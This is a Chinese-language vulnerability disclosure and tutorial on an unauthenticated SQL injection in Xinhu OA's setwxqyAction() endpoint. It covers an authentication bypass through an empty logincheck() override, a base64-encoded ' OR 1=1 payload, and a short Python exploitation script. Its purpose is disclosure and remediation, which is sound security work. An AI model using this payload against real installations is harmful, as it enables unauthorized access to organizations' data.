信呼OA最新版前台SQL注入披露与挖掘过程
字数 1527 2025-09-01 11:25:54
信呼OA前台SQL注入漏洞分析与挖掘教学文档
1. 漏洞概述
信呼OA是一款基于PHP+MySQL开发的开源协同办公系统,主要面向中小型企业、政府机构及组织。本教学文档将详细分析该系统中存在的一个前台SQL注入漏洞,包括漏洞原理、挖掘思路、技术细节和复现方法。
2. 漏洞基本信息
- 漏洞类型:前台SQL注入
- 影响文件:
webmain/task/api/loginAction.php - 影响方法:
setwxqyAction() - 触发参数:
shouji - 漏洞等级:高危
- 发现时间:2025年8月10日
3. 漏洞挖掘思路
3.1 总体思路
在信呼OA中挖掘SQL注入漏洞主要有三种思路:
- 硬刚过滤规则:直接绕过
$rock->get或post方法的底层过滤 - 寻找不使用封装方法的传参点:查找直接使用
$_GET或$_POST获取参数的代码 - 利用加密字符串绕过字符检测:寻找对输入参数进行解码处理的代码路径
本漏洞采用思路3挖掘,通过寻找对输入参数进行解码处理的代码路径来绕过安全检测。
3.2 具体挖掘步骤
- 全局搜索解密关键词:在代码中搜索
base64decode、urldecode等解码函数 - 关注Action文件:重点关注继承自
mainAction的类文件 - 定位漏洞点:最终定位到
loginAction.php中的setwxqyAction()方法
4. 漏洞技术分析
4.1 漏洞代码分析
漏洞位于webmain/task/api/loginAction.php文件中的setwxqyAction()方法:
public function setwxqyAction()
{
$shouji = $this->get('shouji'); // 获取shouji参数
$shouji = base64decode($shouji); // 对参数进行base64解码
// ...
$where = "mobile='$shouji'"; // 直接拼接SQL语句
$sbs = $this->db->getone('[Q]user', $where); // 执行SQL查询
// ...
}
4.2 漏洞成因
- 直接获取
shouji参数并进行base64解码 - 解码后的内容未经任何过滤直接拼接到SQL语句中
- 使用
getone()方法执行拼接后的SQL语句
4.3 鉴权绕过分析
该漏洞为前台注入的关键在于成功绕过了系统的鉴权机制。信呼OA的鉴权主要流程如下:
-
类继承结构:
loginAction→ActionNot→Action→mainAction -
鉴权关键方法:
initProject():在Action类中实现initAction():在ActionNot类中重写logincheck():在ActionNot类中重写为空方法
-
具体绕过过程:
1. 请求到达loginAction
2. 触发mainAction的__construct()
3. 调用initProject() → 调用getlogin() → 调用logincheck()
但由于ActionNot重写了logincheck()为空方法,实际不执行任何鉴权
4. 调用initAction()
- 判断$boss = (M == 'login|api') → 为true
- 三个if条件都因$boss为true而被跳过
5. 最终成功绕过所有鉴权
5. 漏洞复现
5.1 复现环境
- 信呼OA最新版
- PHP环境
- MySQL数据库
5.2 复现步骤
-
构造恶意请求:
POST /path/to/sinhurOA/webmain/task/api/loginAction.php?m=setwxqy&shouji=[base64编码的SQL注入payload] -
示例payload:
- 先构造SQL注入语句,如:
' OR 1=1 -- - 进行base64编码:
JyBPUiAxPTEgLS0g
- 先构造SQL注入语句,如:
-
发送请求:
POST /webmain/task/api/loginAction.php?m=setwxqy&shouji=JyBPUiAxPTEgLS0g -
观察响应,确认注入是否成功
5.3 自动化利用
可以编写简单的Python脚本进行自动化利用:
import requests
import base64
url = "http://target.com/webmain/task/api/loginAction.php"
params = {
'm': 'setwxqy',
'shouji': base64.b64encode("' OR 1=1 -- ".encode()).decode()
}
response = requests.post(url, params=params)
print(response.text)
6. 修复建议
-
参数过滤:
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句或ORM框架
-
鉴权加固:
- 确保所有API接口都有适当的鉴权机制
- 避免重写关键安全方法为空实现
-
代码审计:
- 检查所有使用
base64decode等解码函数后直接拼接SQL的代码 - 对Action类继承体系进行全面的安全审查
- 检查所有使用
-
使用安全函数:
- 替换直接SQL拼接为参数化查询
- 使用框架提供的安全数据库操作方法
7. 总结
本漏洞展示了在开源OA系统中常见的安全问题:
- 解码后直接使用用户输入
- 鉴权机制可以被绕过
- SQL注入风险
通过分析此类漏洞,安全研究人员可以更好地理解:
- PHP应用的鉴权流程
- 类继承对安全机制的影响
- 二次编码在绕过安全检测中的应用
这种漏洞的挖掘思路也可以应用于其他类似系统的安全审计中。